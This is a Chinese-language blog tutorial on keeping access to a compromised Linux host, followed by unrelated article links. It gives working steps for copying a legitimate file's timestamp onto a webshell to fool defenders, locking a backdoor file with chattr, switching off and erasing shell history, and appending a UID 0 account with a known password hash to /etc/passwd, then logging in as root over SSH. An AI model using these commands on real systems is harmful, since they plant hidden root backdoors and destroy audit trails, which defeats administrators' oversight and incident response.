当前位置: 首页 > news >正文

Linux权限维持之修改文件/终端属性(一)

1.文件创建时间

如果蓝队根据文件修改时间来判断文件是否为后门,如参考index.php的时间再来看shell.php的时间就 可以判断shell.php的生成时间有问题

解决方法:

touch -r index.php shell.php

我们打开终端 新建test.php文件

我们来查看信息

发现两个文件的属性是一样的

touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件。

2.文件锁定

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

chattr +i evil.php	#锁定文件
rm -rf evil.php	#提示禁止删除
lsattr	evil.php	#属性查看
chattr -i evil.php	#解除锁定
rm -rf evil.php	#彻底删除文件

我们现在先列举出来

ls -al *.php

chattr +i test.php

说明我们权限不够

我们用sudo

这下我们修改好

然后我们来删除这个文件

发现我们不能够删除这个文件

我们来查看属性

lsattr test.php

我们如果要删除 那麽我们 先去掉属性

这下我们就删除了

3.历史操作命令

在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢? 技巧一:只针对你的工作关闭历史记录

[space]set +o history	#备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录

上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而 这个命令之前的所有东西都会原样记录在历史列表中。

要重新开启历史功能,执行下面的命令:

[Space]set -o history	#将环境恢复原状

我们首先输入

cat /etc/passwd

然后在输入

history

我们就可以看见刚才输入的指令

然后我们现在输入

[space]set +o history

然后输入ifconfig

然后在输入history

哦我们没有发现指令了

然后我们推出 输入

[Space]set -o history

然后输入ifconfig

然后输入history

发现里边有记录了

技巧二:从历史记录中删除指定的命令

假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命 令来删除:

history | grep "keyword"

输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:


history -d [num]

删除大规模历史操作记录,这里,我们只保留前150行:

sed -i '150,$d' ~/.bash_history

4.passwd增加用户

/etc/passwd 各部分含义:
用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL

/etc/shadow 各部分含义:

用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周 期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用

写入举例:

1.增加超级用户

perl -le 'print crypt("passwd","salt")' 


sadtCr0CILzv2

echo "m123:sadtCr0CILzv2:0:0:/root:/bin/bash" >> /etc/passwd

首先我们先输入

perl -le 'print crypt("passwd","salt")'

然后生成

sadtCr0CILzv2

然后我们

echo "m123:sadtCr0CILzv2:0:0:/root:/bin/bash" >> /etc/passwd

在输入

cat /etc/passwd

发现已经写入进来

也是root权限

我们打开kail的ssh

ssh m123@192.168.25.153 密码是passwd

权限还是root

相关文章:

  • Redis的CPU高达90%时如何处理
  • todo: 使用融云imserve做登录(android)
  • 前端基础之全局事件总线
  • 第一节:基于Winform框架的串口助手小项目---基础控件使用《C#编程》
  • unity调用本地部署deepseek全流程
  • 【AI深度学习网络】卷积神经网络(CNN)入门指南:从生物启发的原理到现代架构演进
  • 【leetcode hot 100 41】缺失的第一个整数
  • 可狱可囚的爬虫系列课程 16:爬虫重试机制
  • PySide(PyQT)的视图(QGraphicsView)范例(二) 功能规划
  • 系统架构师----中间件技术
  • docker本地部署ollama
  • 快速熟悉JavaScript
  • 机器学习基础——数值计算
  • 【一步解决】docker国内pull失败,镜像源
  • leetcode麻烦又易忘记题目
  • es如何进行refresh?
  • 利用python实现对Excel文件中数据元组的自定义排序
  • 错误: 加载主类时出现 LinkageError,java.lang.UnsupportedClassVersionError 解决方案
  • MLT媒体程序框架03:滤镜——loudness
  • 蓝桥杯 之 前缀和与查分
  • 专业vi设计哪家好/seo优化是什么职业
  • 怎么用div做网站/超级优化大师下载
  • 扁平化网站设计方案/全网整合营销推广系统
  • 网站模板中文/网络营销pdf
  • 做网站多少钱赚钱吗/建站是什么意思
  • 香港免费永久网站/百度推广费用多少